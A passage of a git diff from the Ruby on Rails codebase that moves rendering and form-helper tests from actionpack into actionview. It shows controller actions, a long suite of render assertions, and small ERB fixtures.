+  end
+
+  def render_to_string_and_render
+    @stuff = render_to_string :text => "here is some cached stuff"
+    render :text => "Hi web users! #{@stuff}"
+  end
+
+  def render_to_string_with_inline_and_render
+    render_to_string :inline => "<%= 'dlrow olleh'.reverse %>"
+    render :template => "test/hello_world"
+  end
+
+  def rendering_with_conflicting_local_vars
+    @name = "David"
+    render :action => "potential_conflicts"
+  end
+
+  def hello_world_from_rxml_using_action
+    render :action => "hello_world_from_rxml", :handlers => [:builder]
+  end
+
+  # :deprecated:
+  def hello_world_from_rxml_using_template
+    render :template => "test/hello_world_from_rxml", :handlers => [:builder]
+  end
+
+  def action_talk_to_layout
+    # Action template sets variable that's picked up by layout
+  end
+
+  # :addressed:
+  def render_text_with_assigns
+    @hello = "world"
+    render :text => "foo"
+  end
+
+  def yield_content_for
+    render :action => "content_for", :layout => "yield"
+  end
+
+  def render_content_type_from_body
+    response.content_type = Mime::RSS
+    render :text => "hello world!"
+  end
+
+  def render_using_layout_around_block
+    render :action => "using_layout_around_block"
+  end
+
+  def render_using_layout_around_block_in_main_layout_and_within_content_for_layout
+    render :action => "using_layout_around_block", :layout => "layouts/block_with_layout"
+  end
+
+  def partial_formats_html
+    render :partial => 'partial', :formats => [:html]
+  end
+
+  def partial
+    render :partial => 'partial'
+  end
+
+  def partial_html_erb
+    render :partial => 'partial_html_erb'
+  end
+
+  def render_to_string_with_partial
+    @partial_only = render_to_string :partial => "partial_only"
+    @partial_with_locals = render_to_string :partial => "customer", :locals => { :customer => Customer.new("david") }
+    render :template => "test/hello_world"
+  end
+
+  def render_to_string_with_template_and_html_partial
+    @text = render_to_string :template => "test/with_partial", :formats => [:text]
+    @html = render_to_string :template => "test/with_partial", :formats => [:html]
+    render :template => "test/with_html_partial"
+  end
+
+  def render_to_string_and_render_with_different_formats
+    @html = render_to_string :template => "test/with_partial", :formats => [:html]
+    render :template => "test/with_partial", :formats => [:text]
+  end
+
+  def render_template_within_a_template_with_other_format
+    render  :template => "test/with_xml_template",
+            :formats  => [:html],
+            :layout   => "with_html_partial"
+  end
+
+  def partial_with_counter
+    render :partial => "counter", :locals => { :counter_counter => 5 }
+  end
+
+  def partial_with_locals
+    render :partial => "customer", :locals => { :customer => Customer.new("david") }
+  end
+
+  def partial_with_form_builder
+    render :partial => ActionView::Helpers::FormBuilder.new(:post, nil, view_context, {})
+  end
+
+  def partial_with_form_builder_subclass
+    render :partial => LabellingFormBuilder.new(:post, nil, view_context, {})
+  end
+
+  def partial_collection
+    render :partial => "customer", :collection => [ Customer.new("david"), Customer.new("mary") ]
+  end
+
+  def partial_collection_with_as
+    render :partial => "customer_with_var", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :customer
+  end
+
+  def partial_collection_with_counter
+    render :partial => "customer_counter", :collection => [ Customer.new("david"), Customer.new("mary") ]
+  end
+
+  def partial_collection_with_as_and_counter
+    render :partial => "customer_counter_with_as", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :client
+  end
+
+  def partial_collection_with_locals
+    render :partial => "customer_greeting", :collection => [ Customer.new("david"), Customer.new("mary") ], :locals => { :greeting => "Bonjour" }
+  end
+
+  def partial_collection_with_spacer
+    render :partial => "customer", :spacer_template => "partial_only", :collection => [ Customer.new("david"), Customer.new("mary") ]
+  end
+
+  def partial_collection_with_spacer_which_uses_render
+    render :partial => "customer", :spacer_template => "partial_with_partial", :collection => [ Customer.new("david"), Customer.new("mary") ]
+  end
+
+  def partial_collection_shorthand_with_locals
+    render :partial => [ Customer.new("david"), Customer.new("mary") ], :locals => { :greeting => "Bonjour" }
+  end
+
+  def partial_collection_shorthand_with_different_types_of_records
+    render :partial => [
+        BadCustomer.new("mark"),
+        GoodCustomer.new("craig"),
+        BadCustomer.new("john"),
+        GoodCustomer.new("zach"),
+        GoodCustomer.new("brandon"),
+        BadCustomer.new("dan") ],
+      :locals => { :greeting => "Bonjour" }
+  end
+
+  def empty_partial_collection
+    render :partial => "customer", :collection => []
+  end
+
+  def partial_collection_shorthand_with_different_types_of_records_with_counter
+    partial_collection_shorthand_with_different_types_of_records
+  end
+
+  def missing_partial
+    render :partial => 'thisFileIsntHere'
+  end
+
+  def partial_with_hash_object
+    render :partial => "hash_object", :object => {:first_name => "Sam"}
+  end
+
+  def partial_with_nested_object
+    render :partial => "quiz/questions/question", :object => Quiz::Question.new("first")
+  end
+
+  def partial_with_nested_object_shorthand
+    render Quiz::Question.new("first")
+  end
+
+  def partial_hash_collection
+    render :partial => "hash_object", :collection => [ {:first_name => "Pratik"}, {:first_name => "Amy"} ]
+  end
+
+  def partial_hash_collection_with_locals
+    render :partial => "hash_greeting", :collection => [ {:first_name => "Pratik"}, {:first_name => "Amy"} ], :locals => { :greeting => "Hola" }
+  end
+
+  def partial_with_implicit_local_assignment
+    @customer = Customer.new("Marcel")
+    render :partial => "customer"
+  end
+
+  def render_call_to_partial_with_layout
+    render :action => "calling_partial_with_layout"
+  end
+
+  def render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
+    render :action => "calling_partial_with_layout", :layout => "layouts/partial_with_layout"
+  end
+
+  before_action only: :render_with_filters do
+    request.format = :xml
+  end
+
+  # Ensure that the before filter is executed *before* self.formats is set.
+  def render_with_filters
+    render :action => :formatted_xml_erb
+  end
+
+  private
+
+    def set_variable_for_layout
+      @variable_for_layout = nil
+    end
+
+    def determine_layout
+      case action_name
+        when "hello_world", "layout_test", "rendering_without_layout",
+             "rendering_nothing_on_layout", "render_text_hello_world",
+             "render_text_hello_world_with_layout",
+             "hello_world_with_layout_false",
+             "partial_only", "accessing_params_in_template",
+             "accessing_params_in_template_with_layout",
+             "render_with_explicit_template",
+             "render_with_explicit_string_template",
+             "update_page", "update_page_with_instance_variables"
+
+          "layouts/standard"
+        when "action_talk_to_layout", "layout_overriding_layout"
+          "layouts/talk_from_action"
+        when "render_implicit_html_template_from_xhr_request"
+          (request.xhr? ? 'layouts/xhr' : 'layouts/standard')
+      end
+    end
+end
+
+class RenderTest < ActionController::TestCase
+  tests TestController
+
+  def setup
+    # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
+    # a more accurate simulation of what happens in "real life".
+    super
+    @controller.logger      = ActiveSupport::Logger.new(nil)
+    ActionView::Base.logger = ActiveSupport::Logger.new(nil)
+
+    @request.host = "www.nextangle.com"
+  end
+
+  def teardown
+    ActionView::Base.logger = nil
+  end
+
+  # :ported:
+  def test_simple_show
+    get :hello_world
+    assert_response 200
+    assert_response :success
+    assert_template "test/hello_world"
+    assert_equal "<html>Hello world!</html>", @response.body
+  end
+
+  # :ported:
+  def test_renders_default_template_for_missing_action
+    get :'hyphen-ated'
+    assert_template 'test/hyphen-ated'
+  end
+
+  # :ported:
+  def test_render
+    get :render_hello_world
+    assert_template "test/hello_world"
+  end
+
+  def test_line_offset
+    exc = assert_raises ActionView::Template::Error do
+      get :render_line_offset
+    end
+    line = exc.backtrace.first
+    assert(line =~ %r{:(\d+):})
+    assert_equal "1", $1,
+      "The line offset is wrong, perhaps the wrong exception has been raised, exception was: #{exc.inspect}"
+  end
+
+  # :ported: compatibility
+  def test_render_with_forward_slash
+    get :render_hello_world_with_forward_slash
+    assert_template "test/hello_world"
+  end
+
+  # :ported:
+  def test_render_in_top_directory
+    get :render_template_in_top_directory
+    assert_template "shared"
+    assert_equal "Elastica", @response.body
+  end
+
+  # :ported:
+  def test_render_in_top_directory_with_slash
+    get :render_template_in_top_directory_with_slash
+    assert_template "shared"
+    assert_equal "Elastica", @response.body
+  end
+
+  # :ported:
+  def test_render_from_variable
+    get :render_hello_world_from_variable
+    assert_equal "hello david", @response.body
+  end
+
+  # :ported:
+  def test_render_action
+    get :render_action_hello_world
+    assert_template "test/hello_world"
+  end
+
+  def test_render_action_upcased
+    assert_raise ActionView::MissingTemplate do
+      get :render_action_upcased_hello_world
+    end
+  end
+
+  # :ported:
+  def test_render_action_hello_world_as_string
+    get :render_action_hello_world_as_string
+    assert_equal "Hello world!", @response.body
+    assert_template "test/hello_world"
+  end
+
+  # :ported:
+  def test_render_action_with_symbol
+    get :render_action_hello_world_with_symbol
+    assert_template "test/hello_world"
+  end
+
+  # :ported:
+  def test_render_text
+    get :render_text_hello_world
+    assert_equal "hello world", @response.body
+  end
+
+  # :ported:
+  def test_do_with_render_text_and_layout
+    get :render_text_hello_world_with_layout
+    assert_equal "<html>hello world, I am here!</html>", @response.body
+  end
+
+  # :ported:
+  def test_do_with_render_action_and_layout_false
+    get :hello_world_with_layout_false
+    assert_equal 'Hello world!', @response.body
+  end
+
+  # :ported:
+  def test_render_file_with_instance_variables
+    get :render_file_with_instance_variables
+    assert_equal "The secret is in the sauce\n", @response.body
+  end
+
+  def test_render_file
+    get :hello_world_file
+    assert_equal "Hello world!", @response.body
+  end
+
+  # :ported:
+  def test_render_file_as_string_with_instance_variables
+    get :render_file_as_string_with_instance_variables
+    assert_equal "The secret is in the sauce\n", @response.body
+  end
+
+  # :ported:
+  def test_render_file_not_using_full_path
+    get :render_file_not_using_full_path
+    assert_equal "The secret is in the sauce\n", @response.body
+  end
+
+  # :ported:
+  def test_render_file_not_using_full_path_with_dot_in_path
+    get :render_file_not_using_full_path_with_dot_in_path
+    assert_equal "The secret is in the sauce\n", @response.body
+  end
+
+  # :ported:
+  def test_render_file_using_pathname
+    get :render_file_using_pathname
+    assert_equal "The secret is in the sauce\n", @response.body
+  end
+
+  # :ported:
+  def test_render_file_with_locals
+    get :render_file_with_locals
+    assert_equal "The secret is in the sauce\n", @response.body
+  end
+
+  # :ported:
+  def test_render_file_as_string_with_locals
+    get :render_file_as_string_with_locals
+    assert_equal "The secret is in the sauce\n", @response.body
+  end
+
+  # :assessed:
+  def test_render_file_from_template
+    get :render_file_from_template
+    assert_equal "The secret is in the sauce\n", @response.body
+  end
+
+  # :ported:
+  def test_render_custom_code
+    get :render_custom_code
+    assert_response 404
+    assert_response :missing
+    assert_equal 'hello world', @response.body
+  end
+
+  # :ported:
+  def test_render_text_with_nil
+    get :render_text_with_nil
+    assert_response 200
+    assert_equal ' ', @response.body
+  end
+
+  # :ported:
+  def test_render_text_with_false
+    get :render_text_with_false
+    assert_equal 'false', @response.body
+  end
+
+  # :ported:
+  def test_render_nothing_with_appendix
+    get :render_nothing_with_appendix
+    assert_response 200
+    assert_equal 'appended', @response.body
+  end
+
+  def test_render_text_with_resource
+    get :render_text_with_resource
+    assert_equal 'name: "David"', @response.body
+  end
+
+  # :ported:
+  def test_attempt_to_access_object_method
+    assert_raise(AbstractController::ActionNotFound, "No action responded to [clone]") { get :clone }
+  end
+
+  # :ported:
+  def test_private_methods
+    assert_raise(AbstractController::ActionNotFound, "No action responded to [determine_layout]") { get :determine_layout }
+  end
+
+  # :ported:
+  def test_access_to_request_in_view
+    get :accessing_request_in_template
+    assert_equal "Hello: www.nextangle.com", @response.body
+  end
+
+  def test_access_to_logger_in_view
+    get :accessing_logger_in_template
+    assert_equal "ActiveSupport::Logger", @response.body
+  end
+
+  # :ported:
+  def test_access_to_action_name_in_view
+    get :accessing_action_name_in_template
+    assert_equal "accessing_action_name_in_template", @response.body
+  end
+
+  # :ported:
+  def test_access_to_controller_name_in_view
+    get :accessing_controller_name_in_template
+    assert_equal "test", @response.body # name is explicitly set in the controller.
+  end
+
+  # :ported:
+  def test_render_xml
+    get :render_xml_hello
+    assert_equal "<html>\n  <p>Hello David</p>\n<p>This is grand!</p>\n</html>\n", @response.body
+    assert_equal "application/xml", @response.content_type
+  end
+
+  # :ported:
+  def test_render_xml_as_string_template
+    get :render_xml_hello_as_string_template
+    assert_equal "<html>\n  <p>Hello David</p>\n<p>This is grand!</p>\n</html>\n", @response.body
+    assert_equal "application/xml", @response.content_type
+  end
+
+  # :ported:
+  def test_render_xml_with_default
+    get :greeting
+    assert_equal "<p>This is grand!</p>\n", @response.body
+  end
+
+  # :move: test in AV
+  def test_render_xml_with_partial
+    get :builder_partial_test
+    assert_equal "<test>\n  <hello/>\n</test>\n", @response.body
+  end
+
+  # :ported:
+  def test_layout_rendering
+    get :layout_test
+    assert_equal "<html>Hello world!</html>", @response.body
+  end
+
+  def test_render_xml_with_layouts
+    get :builder_layout_test
+    assert_equal "<wrapper>\n<html>\n  <p>Hello </p>\n<p>This is grand!</p>\n</html>\n</wrapper>\n", @response.body
+  end
+
+  def test_partials_list
+    get :partials_list
+    assert_equal "goodbyeHello: davidHello: marygoodbye\n", @response.body
+  end
+
+  def test_render_to_string
+    get :hello_in_a_string
+    assert_equal "How's there? goodbyeHello: davidHello: marygoodbye\n", @response.body
+  end
+
+  def test_render_to_string_resets_assigns
+    get :render_to_string_test
+    assert_equal "The value of foo is: ::this is a test::\n", @response.body
+  end
+
+  def test_render_to_string_inline
+    get :render_to_string_with_inline_and_render
+    assert_template "test/hello_world"
+  end
+
+  # :ported:
+  def test_nested_rendering
+    @controller = Fun::GamesController.new
+    get :hello_world
+    assert_equal "Living in a nested world", @response.body
+  end
+
+  def test_accessing_params_in_template
+    get :accessing_params_in_template, :name => "David"
+    assert_equal "Hello: David", @response.body
+  end
+
+  def test_accessing_local_assigns_in_inline_template
+    get :accessing_local_assigns_in_inline_template, :local_name => "Local David"
+    assert_equal "Goodbye, Local David", @response.body
+    assert_equal "text/html", @response.content_type
+  end
+
+  def test_should_implicitly_render_html_template_from_xhr_request
+    xhr :get, :render_implicit_html_template_from_xhr_request
+    assert_equal "XHR!\nHello HTML!", @response.body
+  end
+
+  def test_should_implicitly_render_js_template_without_layout
+    xhr :get, :render_implicit_js_template_without_layout, :format => :js
+    assert_no_match %r{<html>}, @response.body
+  end
+
+  def test_should_render_formatted_template
+    get :formatted_html_erb
+    assert_equal 'formatted html erb', @response.body
+  end
+
+  def test_should_render_formatted_html_erb_template
+    get :formatted_xml_erb
+    assert_equal '<test>passed formatted html erb</test>', @response.body
+  end
+
+  def test_should_render_formatted_html_erb_template_with_bad_accepts_header
+    @request.env["HTTP_ACCEPT"] = "; a=dsf"
+    get :formatted_xml_erb
+    assert_equal '<test>passed formatted html erb</test>', @response.body
+  end
+
+  def test_should_render_formatted_html_erb_template_with_faulty_accepts_header
+    @request.accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*"
+    get :formatted_xml_erb
+    assert_equal '<test>passed formatted html erb</test>', @response.body
+  end
+
+  def test_layout_test_with_different_layout
+    get :layout_test_with_different_layout
+    assert_equal "<html>Hello world!</html>", @response.body
+  end
+
+  def test_layout_test_with_different_layout_and_string_action
+    get :layout_test_with_different_layout_and_string_action
+    assert_equal "<html>Hello world!</html>", @response.body
+  end
+
+  def test_layout_test_with_different_layout_and_symbol_action
+    get :layout_test_with_different_layout_and_symbol_action
+    assert_equal "<html>Hello world!</html>", @response.body
+  end
+
+  def test_rendering_without_layout
+    get :rendering_without_layout
+    assert_equal "Hello world!", @response.body
+  end
+
+  def test_layout_overriding_layout
+    get :layout_overriding_layout
+    assert_no_match %r{<title>}, @response.body
+  end
+
+  def test_rendering_nothing_on_layout
+    get :rendering_nothing_on_layout
+    assert_equal " ", @response.body
+  end
+
+  def test_render_to_string_doesnt_break_assigns
+    get :render_to_string_with_assigns
+    assert_equal "i'm before the render", assigns(:before)
+    assert_equal "i'm after the render", assigns(:after)
+  end
+
+  def test_bad_render_to_string_still_throws_exception
+    assert_raise(ActionView::MissingTemplate) { get :render_to_string_with_exception }
+  end
+
+  def test_render_to_string_that_throws_caught_exception_doesnt_break_assigns
+    assert_nothing_raised { get :render_to_string_with_caught_exception }
+    assert_equal "i'm before the render", assigns(:before)
+    assert_equal "i'm after the render", assigns(:after)
+  end
+
+  def test_accessing_params_in_template_with_layout
+    get :accessing_params_in_template_with_layout, :name => "David"
+    assert_equal "<html>Hello: David</html>", @response.body
+  end
+
+  def test_render_with_explicit_template
+    get :render_with_explicit_template
+    assert_response :success
+  end
+
+  def test_render_with_explicit_unescaped_template
+    assert_raise(ActionView::MissingTemplate) { get :render_with_explicit_unescaped_template }
+    get :render_with_explicit_escaped_template
+    assert_equal "Hello w*rld!", @response.body
+  end
+
+  def test_render_with_explicit_string_template
+    get :render_with_explicit_string_template
+    assert_equal "<html>Hello world!</html>", @response.body
+  end
+
+  def test_render_with_filters
+    get :render_with_filters
+    assert_equal "<test>passed formatted xml erb</test>", @response.body
+  end
+
+  # :ported:
+  def test_double_render
+    assert_raise(AbstractController::DoubleRenderError) { get :double_render }
+  end
+
+  def test_double_redirect
+    assert_raise(AbstractController::DoubleRenderError) { get :double_redirect }
+  end
+
+  def test_render_and_redirect
+    assert_raise(AbstractController::DoubleRenderError) { get :render_and_redirect }
+  end
+
+  # specify the one exception to double render rule - render_to_string followed by render
+  def test_render_to_string_and_render
+    get :render_to_string_and_render
+    assert_equal("Hi web users! here is some cached stuff", @response.body)
+  end
+
+  def test_rendering_with_conflicting_local_vars
+    get :rendering_with_conflicting_local_vars
+    assert_equal("First: David\nSecond: Stephan\nThird: David\nFourth: David\nFifth: ", @response.body)
+  end
+
+  def test_action_talk_to_layout
+    get :action_talk_to_layout
+    assert_equal "<title>Talking to the layout</title>\nAction was here!", @response.body
+  end
+
+  # :addressed:
+  def test_render_text_with_assigns
+    get :render_text_with_assigns
+    assert_equal "world", assigns["hello"]
+  end
+
+  # :ported:
+  def test_template_with_locals
+    get :render_with_explicit_template_with_locals
+    assert_equal "The secret is area51\n", @response.body
+  end
+
+  def test_yield_content_for
+    get :yield_content_for
+    assert_equal "<title>Putting stuff in the title!</title>\nGreat stuff!\n", @response.body
+  end
+
+  def test_overwritting_rendering_relative_file_with_extension
+    get :hello_world_from_rxml_using_template
+    assert_equal "<html>\n  <p>Hello</p>\n</html>\n", @response.body
+
+    get :hello_world_from_rxml_using_action
+    assert_equal "<html>\n  <p>Hello</p>\n</html>\n", @response.body
+  end
+
+  def test_using_layout_around_block
+    get :render_using_layout_around_block
+    assert_equal "Before (David)\nInside from block\nAfter", @response.body
+  end
+
+  def test_using_layout_around_block_in_main_layout_and_within_content_for_layout
+    get :render_using_layout_around_block_in_main_layout_and_within_content_for_layout
+    assert_equal "Before (Anthony)\nInside from first block in layout\nAfter\nBefore (David)\nInside from block\nAfter\nBefore (Ramm)\nInside from second block in layout\nAfter\n", @response.body
+  end
+
+  def test_partial_only
+    get :partial_only
+    assert_equal "only partial", @response.body
+    assert_equal "text/html", @response.content_type
+  end
+
+  def test_should_render_html_formatted_partial
+    get :partial
+    assert_equal "partial html", @response.body
+    assert_equal "text/html", @response.content_type
+  end
+
+  def test_render_html_formatted_partial_even_with_other_mime_time_in_accept
+    @request.accept = "text/javascript, text/html"
+
+    get :partial_html_erb
+
+    assert_equal "partial.html.erb", @response.body.strip
+    assert_equal "text/html", @response.content_type
+  end
+
+  def test_should_render_html_partial_with_formats
+    get :partial_formats_html
+    assert_equal "partial html", @response.body
+    assert_equal "text/html", @response.content_type
+  end
+
+  def test_render_to_string_partial
+    get :render_to_string_with_partial
+    assert_equal "only partial", assigns(:partial_only)
+    assert_equal "Hello: david", assigns(:partial_with_locals)
+    assert_equal "text/html", @response.content_type
+  end
+
+  def test_render_to_string_with_template_and_html_partial
+    get :render_to_string_with_template_and_html_partial
+    assert_equal "**only partial**\n", assigns(:text)
+    assert_equal "<strong>only partial</strong>\n", assigns(:html)
+    assert_equal "<strong>only html partial</strong>\n", @response.body
+    assert_equal "text/html", @response.content_type
+  end
+
+  def test_render_to_string_and_render_with_different_formats
+    get :render_to_string_and_render_with_different_formats
+    assert_equal "<strong>only partial</strong>\n", assigns(:html)
+    assert_equal "**only partial**\n", @response.body
+    assert_equal "text/plain", @response.content_type
+  end
+
+  def test_render_template_within_a_template_with_other_format
+    get :render_template_within_a_template_with_other_format
+    expected = "only html partial<p>This is grand!</p>"
+    assert_equal expected, @response.body.strip
+    assert_equal "text/html", @response.content_type
+  end
+
+  def test_partial_with_counter
+    get :partial_with_counter
+    assert_equal "5", @response.body
+  end
+
+  def test_partial_with_locals
+    get :partial_with_locals
+    assert_equal "Hello: david", @response.body
+  end
+
+  def test_partial_with_form_builder
+    get :partial_with_form_builder
+    assert_match(/<label/, @response.body)
+    assert_template('test/_form')
+  end
+
+  def test_partial_with_form_builder_subclass
+    get :partial_with_form_builder_subclass
+    assert_match(/<label/, @response.body)
+    assert_template('test/_labelling_form')
+  end
+
+  def test_nested_partial_with_form_builder
+    @controller = Fun::GamesController.new
+    get :nested_partial_with_form_builder
+    assert_match(/<label/, @response.body)
+    assert_template('fun/games/_form')
+  end
+
+  def test_namespaced_object_partial
+    @controller = Quiz::QuestionsController.new
+    get :new
+    assert_equal "Namespaced Partial", @response.body
+  end
+
+  def test_partial_collection
+    get :partial_collection
+    assert_equal "Hello: davidHello: mary", @response.body
+  end
+
+  def test_partial_collection_with_as
+    get :partial_collection_with_as
+    assert_equal "david david davidmary mary mary", @response.body
+  end
+
+  def test_partial_collection_with_counter
+    get :partial_collection_with_counter
+    assert_equal "david0mary1", @response.body
+  end
+
+  def test_partial_collection_with_as_and_counter
+    get :partial_collection_with_as_and_counter
+    assert_equal "david0mary1", @response.body
+  end
+
+  def test_partial_collection_with_locals
+    get :partial_collection_with_locals
+    assert_equal "Bonjour: davidBonjour: mary", @response.body
+  end
+
+  def test_locals_option_to_assert_template_is_not_supported
+    get :partial_collection_with_locals
+
+    warning_buffer = StringIO.new
+    $stderr = warning_buffer
+
+    assert_template partial: 'customer_greeting', locals: { greeting: 'Bonjour' }
+    assert_equal "the :locals option to #assert_template is only supported in a ActionView::TestCase\n", warning_buffer.string
+  ensure
+    $stderr = STDERR
+  end
+
+  def test_partial_collection_with_spacer
+    get :partial_collection_with_spacer
+    assert_equal "Hello: davidonly partialHello: mary", @response.body
+    assert_template :partial => '_customer'
+  end
+
+  def test_partial_collection_with_spacer_which_uses_render
+    get :partial_collection_with_spacer_which_uses_render
+    assert_equal "Hello: davidpartial html\npartial with partial\nHello: mary", @response.body
+    assert_template :partial => '_customer'
+  end
+
+  def test_partial_collection_shorthand_with_locals
+    get :partial_collection_shorthand_with_locals
+    assert_equal "Bonjour: davidBonjour: mary", @response.body
+    assert_template :partial => 'customers/_customer', :count => 2
+    assert_template :partial => '_completely_fake_and_made_up_template_that_cannot_possibly_be_rendered', :count => 0
+  end
+
+  def test_partial_collection_shorthand_with_different_types_of_records
+    get :partial_collection_shorthand_with_different_types_of_records
+    assert_equal "Bonjour bad customer: mark0Bonjour good customer: craig1Bonjour bad customer: john2Bonjour good customer: zach3Bonjour good customer: brandon4Bonjour bad customer: dan5", @response.body
+    assert_template :partial => 'good_customers/_good_customer', :count => 3
+    assert_template :partial => 'bad_customers/_bad_customer', :count => 3
+  end
+
+  def test_empty_partial_collection
+    get :empty_partial_collection
+    assert_equal " ", @response.body
+    assert_template :partial => false
+  end
+
+  def test_partial_with_hash_object
+    get :partial_with_hash_object
+    assert_equal "Sam\nmaS\n", @response.body
+  end
+
+  def test_partial_with_nested_object
+    get :partial_with_nested_object
+    assert_equal "first", @response.body
+  end
+
+  def test_partial_with_nested_object_shorthand
+    get :partial_with_nested_object_shorthand
+    assert_equal "first", @response.body
+  end
+
+  def test_hash_partial_collection
+    get :partial_hash_collection
+    assert_equal "Pratik\nkitarP\nAmy\nymA\n", @response.body
+  end
+
+  def test_partial_hash_collection_with_locals
+    get :partial_hash_collection_with_locals
+    assert_equal "Hola: PratikHola: Amy", @response.body
+  end
+
+  def test_render_missing_partial_template
+    assert_raise(ActionView::MissingTemplate) do
+      get :missing_partial
+    end
+  end
+
+  def test_render_call_to_partial_with_layout
+    get :render_call_to_partial_with_layout
+    assert_equal "Before (David)\nInside from partial (David)\nAfter", @response.body
+  end
+
+  def test_render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
+    get :render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
+    assert_equal "Before (Anthony)\nInside from partial (Anthony)\nAfter\nBefore (David)\nInside from partial (David)\nAfter\nBefore (Ramm)\nInside from partial (Ramm)\nAfter", @response.body
+  end
+end
+
diff --git a/actionpack/test/controller/view_paths_test.rb b/actionview/test/actionpack/controller/view_paths_test.rb
similarity index 100%
rename from actionpack/test/controller/view_paths_test.rb
rename to actionview/test/actionpack/controller/view_paths_test.rb
diff --git a/actionpack/test/active_record_unit.rb b/actionview/test/active_record_unit.rb
similarity index 100%
rename from actionpack/test/active_record_unit.rb
rename to actionview/test/active_record_unit.rb
diff --git a/actionpack/test/activerecord/controller_runtime_test.rb b/actionview/test/activerecord/controller_runtime_test.rb
similarity index 100%
rename from actionpack/test/activerecord/controller_runtime_test.rb
rename to actionview/test/activerecord/controller_runtime_test.rb
diff --git a/actionview/test/activerecord/form_helper_activerecord_test.rb b/actionview/test/activerecord/form_helper_activerecord_test.rb
new file mode 100644
index 0000000..0a9628d
--- /dev/null
+++ b/actionview/test/activerecord/form_helper_activerecord_test.rb
@@ -0,0 +1,91 @@
+require 'active_record_unit'
+require 'fixtures/project'
+require 'fixtures/developer'
+
+class FormHelperActiveRecordTest < ActionView::TestCase
+  tests ActionView::Helpers::FormHelper
+
+  def form_for(*)
+    @output_buffer = super
+  end
+
+  def setup
+    @developer = Developer.new
+    @developer.id   = 123
+    @developer.name = "developer #123"
+
+    @project = Project.new
+    @project.id   = 321
+    @project.name = "project #321"
+    @project.save
+
+    @developer.projects << @project
+    @developer.save
+  end
+
+  def teardown
+    Project.delete(321)
+    Developer.delete(123)
+  end
+
+  Routes = ActionDispatch::Routing::RouteSet.new
+  Routes.draw do
+    resources :developers do
+      resources :projects
+    end
+  end
+
+  def _routes
+    Routes
+  end
+
+  include Routes.url_helpers
+
+  def test_nested_fields_for_with_child_index_option_override_on_a_nested_attributes_collection_association
+    form_for(@developer) do |f|
+      concat f.fields_for(:projects, @developer.projects.first, :child_index => 'abc') { |cf|
+        concat cf.text_field(:name)
+      }
+    end
+
+    expected = whole_form('/developers/123', 'edit_developer_123', 'edit_developer', :method => 'patch') do
+      '<input id="developer_projects_attributes_abc_name" name="developer[projects_attributes][abc][name]" type="text" value="project #321" />' +
+          '<input id="developer_projects_attributes_abc_id" name="developer[projects_attributes][abc][id]" type="hidden" value="321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  protected
+
+  def hidden_fields(method = nil)
+    txt =  %{<div style="display:none">}
+    txt << %{<input name="utf8" type="hidden" value="&#x2713;" />}
+    if method && !%w(get post).include?(method.to_s)
+      txt << %{<input name="_method" type="hidden" value="#{method}" />}
+    end
+    txt << %{</div>}
+  end
+
+  def form_text(action = "/", id = nil, html_class = nil, remote = nil, multipart = nil, method = nil)
+    txt =  %{<form accept-charset="UTF-8" action="#{action}"}
+    txt << %{ enctype="multipart/form-data"} if multipart
+    txt << %{ data-remote="true"} if remote
+    txt << %{ class="#{html_class}"} if html_class
+    txt << %{ id="#{id}"} if id
+    method = method.to_s == "get" ? "get" : "post"
+    txt << %{ method="#{method}">}
+  end
+
+  def whole_form(action = "/", id = nil, html_class = nil, options = nil)
+    contents = block_given? ? yield : ""
+
+    if options.is_a?(Hash)
+      method, remote, multipart = options.values_at(:method, :remote, :multipart)
+    else
+      method = options
+    end
+
+    form_text(action, id, html_class, remote, multipart, method) + hidden_fields(method) + contents + "</form>"
+  end
+end
\ No newline at end of file
diff --git a/actionpack/test/activerecord/polymorphic_routes_test.rb b/actionview/test/activerecord/polymorphic_routes_test.rb
similarity index 100%
rename from actionpack/test/activerecord/polymorphic_routes_test.rb
rename to actionview/test/activerecord/polymorphic_routes_test.rb
diff --git a/actionpack/test/activerecord/render_partial_with_record_identification_test.rb b/actionview/test/activerecord/render_partial_with_record_identification_test.rb
similarity index 100%
rename from actionpack/test/activerecord/render_partial_with_record_identification_test.rb
rename to actionview/test/activerecord/render_partial_with_record_identification_test.rb
diff --git a/actionpack/test/fixtures/_top_level_partial.html.erb b/actionview/test/fixtures/_top_level_partial.html.erb
similarity index 100%
rename from actionpack/test/fixtures/_top_level_partial.html.erb
rename to actionview/test/fixtures/_top_level_partial.html.erb
diff --git a/actionview/test/fixtures/_top_level_partial_only.erb b/actionview/test/fixtures/_top_level_partial_only.erb
new file mode 100644
index 0000000..44f25b6
--- /dev/null
+++ b/actionview/test/fixtures/_top_level_partial_only.erb
@@ -0,0 +1 @@
+top level partial
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/bad_customers/_bad_customer.html.erb b/actionview/test/fixtures/actionpack/bad_customers/_bad_customer.html.erb
new file mode 100644
index 0000000..d22af43
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/bad_customers/_bad_customer.html.erb
@@ -0,0 +1 @@
+<%= greeting %> bad customer: <%= bad_customer.name %><%= bad_customer_counter %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/customers/_customer.html.erb b/actionview/test/fixtures/actionpack/customers/_customer.html.erb
similarity index 100%
copy from actionpack/test/fixtures/customers/_customer.html.erb
copy to actionview/test/fixtures/actionpack/customers/_customer.html.erb
diff --git a/actionpack/test/fixtures/fun/games/_form.erb b/actionview/test/fixtures/actionpack/fun/games/_form.erb
similarity index 100%
copy from actionpack/test/fixtures/fun/games/_form.erb
copy to actionview/test/fixtures/actionpack/fun/games/_form.erb
diff --git a/actionpack/test/fixtures/fun/games/hello_world.erb b/actionview/test/fixtures/actionpack/fun/games/hello_world.erb
similarity index 100%
copy from actionpack/test/fixtures/fun/games/hello_world.erb
copy to actionview/test/fixtures/actionpack/fun/games/hello_world.erb
diff --git a/actionpack/test/fixtures/good_customers/_good_customer.html.erb b/actionview/test/fixtures/actionpack/good_customers/_good_customer.html.erb
similarity index 100%
copy from actionpack/test/fixtures/good_customers/_good_customer.html.erb
copy to actionview/test/fixtures/actionpack/good_customers/_good_customer.html.erb
